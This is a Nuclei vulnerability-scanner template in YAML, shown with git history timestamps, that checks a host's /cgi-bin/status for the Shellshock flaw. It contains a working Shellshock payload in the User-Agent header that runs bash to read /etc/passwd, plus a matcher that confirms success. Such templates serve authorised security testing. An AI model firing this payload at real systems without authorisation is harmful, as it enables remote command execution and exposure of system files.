nuclei-templates/vulnerabilities/other/rce-shellshock-user-agent.yaml

21 lines
401 B
YAML
Raw Normal View History

2020-05-28 15:20:00 +00:00
id: rce-user-agent-shell-shock
info:
name: Remote Code Execution Via (User-Agent)
author: 0xelkomy
severity: high
tags: shellshock,rce
2020-05-28 15:20:00 +00:00
requests:
2021-02-13 04:55:02 +00:00
- method: GET
path:
- "{{BaseURL}}/cgi-bin/status"
headers:
User-Agent: "() { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd;'"
2021-02-13 04:55:02 +00:00
matchers:
- type: regex
regex:
2021-07-24 21:35:55 +00:00
- "root:.*:0:0"
2021-02-13 04:55:02 +00:00
part: body